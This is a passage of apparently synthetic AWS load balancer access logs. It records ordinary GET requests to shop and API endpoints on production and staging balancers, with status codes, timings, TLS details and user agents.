HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd05-0387a5e8e51a40fd9b98636c" "staging-alb.example.com" "-" 4 2024-11-01T01:31:33.988448Z "forward" "-" "-" "89.158.205.8:80" "301" "-" "-" +https 2024-11-01T01:31:34.270064Z prod-web-alb 203.194.28.248:35088 10.0.229.187:443 0.009135 0.372469 0.086065 200 200 353 266 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd06-439b543f723b4e1b9cb7b5fb" "prod-web-alb.example.com" "-" 4 2024-11-01T01:31:34.270064Z "forward" "-" "-" "10.0.229.187:443" "200" "-" "-" +https 2024-11-01T01:31:35.406720Z prod-web-alb 33.142.246.84:43786 10.0.232.164:443 0.078564 0.214653 0.057026 404 404 689 319 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd07-876505f572cb470f836605ea" "prod-web-alb.example.com" "-" 4 2024-11-01T01:31:35.406720Z "forward" "-" "-" "10.0.232.164:443" "404" "-" "-" +https 2024-11-01T01:31:37.275795Z prod-web-alb 230.46.165.116:24911 10.0.34.215:443 0.036704 0.384172 0.030406 301 301 159 10905 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd09-bbf4a4f77d3a44afb03ed3d2" "prod-web-alb.example.com" "-" 6 2024-11-01T01:31:37.275795Z "forward" "-" "-" "10.0.34.215:443" "301" "-" "-" +http 2024-11-01T01:31:37.897995Z staging-alb 201.165.136.42:42590 4.11.5.165:80 0.145013 0.288322 0.072298 200 200 988 4194 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd09-5fc29de6744249cd9fdf41a0" "staging-alb.example.com" "-" 4 2024-11-01T01:31:37.897995Z "forward" "-" "-" "4.11.5.165:80" "200" "-" "-" +http 2024-11-01T01:31:38.969515Z staging-alb 181.230.208.83:46693 224.191.146.125:443 0.019659 0.352927 0.051098 302 302 390 1982 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd0a-0c6ca071f5cb48f4956775dd" "staging-alb.example.com" "-" 6 2024-11-01T01:31:38.969515Z "forward" "-" "-" "224.191.146.125:443" "302" "-" "-" +https 2024-11-01T01:31:39.151683Z prod-web-alb 85.249.207.97:21770 10.0.7.38:443 0.010983 0.087540 0.009495 200 200 903 11788 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd0b-ef2a0a227b104e8f8b9c5ec3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:31:39.151683Z "forward" "-" "-" "10.0.7.38:443" "200" "-" "-" +http 2024-11-01T01:31:41.077310Z staging-alb 60.106.90.80:53486 143.201.121.184:443 0.058482 0.399101 0.138897 200 200 566 10663 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd0d-d1f00b21b9f44d848bffd064" "staging-alb.example.com" "-" 1 2024-11-01T01:31:41.077310Z "forward" "-" "-" "143.201.121.184:443" "200" "-" "-" +https 2024-11-01T01:31:41.589856Z prod-api-alb 226.149.127.128:28969 10.0.70.15:443 0.031458 0.259323 0.068828 404 404 99 14623 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd0d-82092f4ab414483c9b9391ff" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:41.589856Z "forward" "-" "-" "10.0.70.15:443" "404" "-" "-" +https 2024-11-01T01:31:43.080078Z prod-web-alb 158.163.234.111:15944 10.0.252.136:443 0.013448 0.337740 0.014196 302 302 138 1746 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd0f-f6ca08937b1743b19705e113" "prod-web-alb.example.com" "-" 5 2024-11-01T01:31:43.080078Z "forward" "-" "-" "10.0.252.136:443" "302" "-" "-" +https 2024-11-01T01:31:44.492443Z prod-api-alb 231.100.67.88:40528 10.0.90.145:443 0.075112 0.483035 0.012926 404 404 801 6257 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd10-5b5491bba89b4eb39b99e8d9" "prod-api-alb.example.com" "-" 7 2024-11-01T01:31:44.492443Z "forward" "-" "-" "10.0.90.145:443" "404" "-" "-" +https 2024-11-01T01:31:45.862829Z prod-web-alb 70.196.91.215:51774 10.0.185.63:443 0.042354 0.096776 0.058000 200 200 813 9547 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd11-4096f7e764994bf180c94012" "prod-web-alb.example.com" "-" 5 2024-11-01T01:31:45.862829Z "forward" "-" "-" "10.0.185.63:443" "200" "-" "-" +https 2024-11-01T01:31:46.732941Z prod-api-alb 123.237.196.163:46946 10.0.210.44:443 0.031575 0.075104 0.038152 200 200 883 10467 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd12-3aff1f8d3a064769a172bdde" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:46.732941Z "forward" "-" "-" "10.0.210.44:443" "200" "-" "-" +http 2024-11-01T01:31:48.240508Z staging-alb 214.87.24.28:37196 233.229.18.70:80 0.100077 0.281880 0.055553 200 200 615 12023 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd14-2ae6efd5aa29439d9c771c07" "staging-alb.example.com" "-" 8 2024-11-01T01:31:48.240508Z "forward" "-" "-" "233.229.18.70:80" "200" "-" "-" +https 2024-11-01T01:31:48.423613Z prod-web-alb 124.115.36.19:15620 10.0.231.88:443 0.048234 0.360402 0.013711 200 200 124 7417 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd14-0184f4ad5c1a45b783bb0240" "prod-web-alb.example.com" "-" 8 2024-11-01T01:31:48.423613Z "forward" "-" "-" "10.0.231.88:443" "200" "-" "-" +http 2024-11-01T01:31:50.347346Z staging-alb 254.131.205.28:56221 9.109.166.38:8080 0.068858 0.562764 0.148213 200 200 499 2146 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd16-20f9fb55e9e24529bd8d7406" "staging-alb.example.com" "-" 9 2024-11-01T01:31:50.347346Z "forward" "-" "-" "9.109.166.38:8080" "200" "-" "-" +https 2024-11-01T01:31:51.471885Z staging-alb 9.166.87.128:60762 187.139.158.219:80 0.018918 0.387999 0.068192 302 302 657 7172 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd17-5274e7760efa4014b8533864" "staging-alb.example.com" "-" 3 2024-11-01T01:31:51.471885Z "forward" "-" "-" "187.139.158.219:80" "302" "-" "-" +https 2024-11-01T01:31:53.286938Z prod-web-alb 105.150.169.26:12986 10.0.147.89:443 0.062004 0.441744 0.016294 404 404 97 8030 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd19-31164108ec8f4dbe9ef010bc" "prod-web-alb.example.com" "-" 2 2024-11-01T01:31:53.286938Z "forward" "-" "-" "10.0.147.89:443" "404" "-" "-" +https 2024-11-01T01:31:55.196321Z prod-web-alb 93.46.200.145:36255 10.0.45.238:443 0.046107 0.160227 0.017111 200 200 581 8225 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1b-8874a1bd8125436d8ac7d70a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:31:55.196321Z "forward" "-" "-" "10.0.45.238:443" "200" "-" "-" +https 2024-11-01T01:31:55.614121Z prod-web-alb 149.125.221.32:27599 10.0.37.23:443 0.072432 0.035303 0.085738 301 301 111 8114 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd1b-3340aedc14684de78923994c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:31:55.614121Z "forward" "-" "-" "10.0.37.23:443" "301" "-" "-" +https 2024-11-01T01:31:57.448894Z prod-web-alb 46.176.251.57:57172 10.0.196.123:443 0.063794 0.135332 0.006455 200 200 1000 2067 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd1d-00d1c91abc6b402d83d30514" "prod-web-alb.example.com" "-" 10 2024-11-01T01:31:57.448894Z "forward" "-" "-" "10.0.196.123:443" "200" "-" "-" +https 2024-11-01T01:31:57.991577Z prod-web-alb 231.199.108.152:51161 10.0.130.64:443 0.054268 0.291088 0.046661 200 200 511 8368 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1d-583fe90f04f6407cab1dfce0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:31:57.991577Z "forward" "-" "-" "10.0.130.64:443" "200" "-" "-" +https 2024-11-01T01:31:58.466606Z prod-web-alb 27.180.83.148:27184 10.0.121.123:443 0.015124 0.414221 0.092125 200 200 998 10468 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1e-a7953f20f6a24b04a1ddc7d6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:31:58.466606Z "forward" "-" "-" "10.0.121.123:443" "200" "-" "-" +https 2024-11-01T01:31:59.068477Z prod-web-alb 77.163.92.191:20206 10.0.231.37:443 0.009795 0.293037 0.002021 302 302 487 12203 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1f-23c0b1c860b34e8c9b4dc987" "prod-web-alb.example.com" "-" 8 2024-11-01T01:31:59.068477Z "forward" "-" "-" "10.0.231.37:443" "302" "-" "-" +https 2024-11-01T01:31:59.521039Z prod-api-alb 8.43.165.60:64177 10.0.50.20:443 0.092896 0.258105 0.010149 404 404 926 13750 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd1f-a86eea5029e447f7af605ed2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:59.521039Z "forward" "-" "-" "10.0.50.20:443" "404" "-" "-" +https 2024-11-01T01:32:00.324243Z prod-web-alb 153.186.106.144:33056 10.0.238.58:443 0.050986 0.046697 0.069882 301 301 560 5971 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd20-2d7eb33a47534fa4b23c70ba" "prod-web-alb.example.com" "-" 8 2024-11-01T01:32:00.324243Z "forward" "-" "-" "10.0.238.58:443" "301" "-" "-" +https 2024-11-01T01:32:01.775820Z prod-api-alb 242.240.41.222:43404 10.0.93.116:443 0.035765 0.038400 0.041124 302 302 896 4612 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd21-05756b8a494d4b81ad0ba5d6" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:01.775820Z "forward" "-" "-" "10.0.93.116:443" "302" "-" "-" +https 2024-11-01T01:32:01.883773Z prod-web-alb 86.72.145.170:42689 10.0.65.233:443 0.005603 0.458679 0.013670 200 200 341 1823 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd21-5d6590824299406fbc32b9f3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:01.883773Z "forward" "-" "-" "10.0.65.233:443" "200" "-" "-" +https 2024-11-01T01:32:02.997788Z staging-alb 235.217.12.67:16681 91.87.77.118:443 0.012958 0.048198 0.031885 302 302 377 14135 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd22-708216edffab4365b846810a" "staging-alb.example.com" "-" 7 2024-11-01T01:32:02.997788Z "forward" "-" "-" "91.87.77.118:443" "302" "-" "-" +https 2024-11-01T01:32:03.216869Z staging-alb 231.193.140.70:22607 21.89.67.50:443 0.109935 0.328046 0.114403 301 301 981 13400 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd23-a48ba3b674da4263998f7eb2" "staging-alb.example.com" "-" 1 2024-11-01T01:32:03.216869Z "forward" "-" "-" "21.89.67.50:443" "301" "-" "-" +https 2024-11-01T01:32:04.301066Z prod-api-alb 79.122.136.106:50159 10.0.5.238:443 0.093526 0.345913 0.055651 200 200 683 1957 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd24-29957515b82245da8eb12c2c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:32:04.301066Z "forward" "-" "-" "10.0.5.238:443" "200" "-" "-" +https 2024-11-01T01:32:05.746631Z staging-alb 60.138.196.249:56105 181.0.230.182:8080 0.050098 0.569154 0.033999 200 200 397 1108 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd25-77c699277769444990686a54" "staging-alb.example.com" "-" 8 2024-11-01T01:32:05.746631Z "forward" "-" "-" "181.0.230.182:8080" "200" "-" "-" +https 2024-11-01T01:32:07.231450Z prod-web-alb 95.64.51.150:61250 10.0.138.83:443 0.058310 0.424621 0.046460 404 404 939 14499 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd27-07c0871d21a0435db90d2269" "prod-web-alb.example.com" "-" 6 2024-11-01T01:32:07.231450Z "forward" "-" "-" "10.0.138.83:443" "404" "-" "-" +https 2024-11-01T01:32:07.597872Z prod-web-alb 121.232.56.177:62816 10.0.189.71:443 0.009336 0.465671 0.048716 200 200 574 1548 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd27-800b6159e9724b69aab73331" "prod-web-alb.example.com" "-" 3 2024-11-01T01:32:07.597872Z "forward" "-" "-" "10.0.189.71:443" "200" "-" "-" +https 2024-11-01T01:32:09.148284Z prod-api-alb 171.170.215.96:44804 10.0.169.239:443 0.014406 0.017318 0.085846 200 200 41 6405 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd29-b0afb62389564ba58ed1df27" "prod-api-alb.example.com" "-" 10 2024-11-01T01:32:09.148284Z "forward" "-" "-" "10.0.169.239:443" "200" "-" "-" +https 2024-11-01T01:32:09.363648Z prod-api-alb 138.103.4.221:35777 10.0.104.82:443 0.074260 0.315268 0.011202 302 302 145 5294 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd29-3ca0a34631634d5c93d736e8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:09.363648Z "forward" "-" "-" "10.0.104.82:443" "302" "-" "-" +https 2024-11-01T01:32:10.698168Z prod-web-alb 130.196.115.224:52205 10.0.127.32:443 0.016247 0.363688 0.092426 404 404 398 620 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd2a-9f042ba036104ddb8d46b824" "prod-web-alb.example.com" "-" 5 2024-11-01T01:32:10.698168Z "forward" "-" "-" "10.0.127.32:443" "404" "-" "-" +https 2024-11-01T01:32:11.693420Z prod-web-alb 75.168.72.252:64314 10.0.15.252:443 0.006589 0.413249 0.077065 200 200 434 10416 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd2b-065c4cc02538466ca1de6fae" "prod-web-alb.example.com" "-" 10 2024-11-01T01:32:11.693420Z "forward" "-" "-" "10.0.15.252:443" "200" "-" "-" +http 2024-11-01T01:32:12.378996Z staging-alb 185.203.14.166:45067 156.222.177.10:80 0.083613 0.225783 0.036553 302 302 800 6056 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd2c-d6c218a135004ab5af032e7d" "staging-alb.example.com" "-" 7 2024-11-01T01:32:12.378996Z "forward" "-" "-" "156.222.177.10:80" "302" "-" "-" +https 2024-11-01T01:32:13.593883Z prod-web-alb 216.221.239.63:19736 10.0.245.26:443 0.098390 0.304285 0.052078 302 302 651 1825 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd2d-b65757f77a204733b5acbf1f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:32:13.593883Z "forward" "-" "-" "10.0.245.26:443" "302" "-" "-" +https 2024-11-01T01:32:14.136530Z prod-api-alb 57.106.238.230:49129 10.0.66.171:443 0.013426 0.422288 0.055526 200 200 154 9886 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd2e-e8329fa7e28546adbb78a182" "prod-api-alb.example.com" "-" 2 2024-11-01T01:32:14.136530Z "forward" "-" "-" "10.0.66.171:443" "200" "-" "-" +https 2024-11-01T01:32:14.687208Z staging-alb 127.135.226.43:45561 79.108.23.184:8080 0.019399 0.239906 0.038890 200 200 212 1755 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd2e-6fa8a4cec9d14f2b84f81938" "staging-alb.example.com" "-" 3 2024-11-01T01:32:14.687208Z "forward" "-" "-" "79.108.23.184:8080" "200" "-" "-" +https 2024-11-01T01:32:16.327823Z prod-api-alb 83.244.131.194:60345 10.0.173.101:443 0.099963 0.440957 0.095866 200 200 52 14871 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd30-14b992afc10c4b25bece6ecc" "prod-api-alb.example.com" "-" 5 2024-11-01T01:32:16.327823Z "forward" "-" "-" "10.0.173.101:443" "200" "-" "-" +http 2024-11-01T01:32:17.594312Z staging-alb 174.148.195.79:52737 134.42.65.200:8080 0.146474 0.445692 0.059752 404 404 230 5876 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd31-4aff3c4c69534434a4c0034b" "staging-alb.example.com" "-" 3 2024-11-01T01:32:17.594312Z "forward" "-" "-" "134.42.65.200:8080" "404" "-" "-" +https 2024-11-01T01:32:18.228735Z prod-web-alb 95.132.181.44:41275 10.0.31.197:443 0.051930 0.410674 0.032952 200 200 592 4153 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd32-b401bb85a2874af0b50def17" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:18.228735Z "forward" "-" "-" "10.0.31.197:443" "200" "-" "-" +https 2024-11-01T01:32:19.053802Z prod-web-alb 33.216.32.202:44991 10.0.101.236:443 0.089838 0.496727 0.016851 200 200 885 7562 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd33-4470efb3cc0143c285d1fa4d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:32:19.053802Z "forward" "-" "-" "10.0.101.236:443" "200" "-" "-" +https 2024-11-01T01:32:21.028871Z staging-alb 205.82.137.40:35522 135.118.74.188:8080 0.044112 0.234078 0.147624 302 302 326 4067 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd35-9e37725a095944c1a61ca68e" "staging-alb.example.com" "-" 6 2024-11-01T01:32:21.028871Z "forward" "-" "-" "135.118.74.188:8080" "302" "-" "-" +https 2024-11-01T01:32:21.384986Z prod-api-alb 245.1.233.206:51664 10.0.192.145:443 0.088571 0.421828 0.002436 200 200 468 6453 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd35-a6caae4b85e642ae83642061" "prod-api-alb.example.com" "-" 5 2024-11-01T01:32:21.384986Z "forward" "-" "-" "10.0.192.145:443" "200" "-" "-" +https 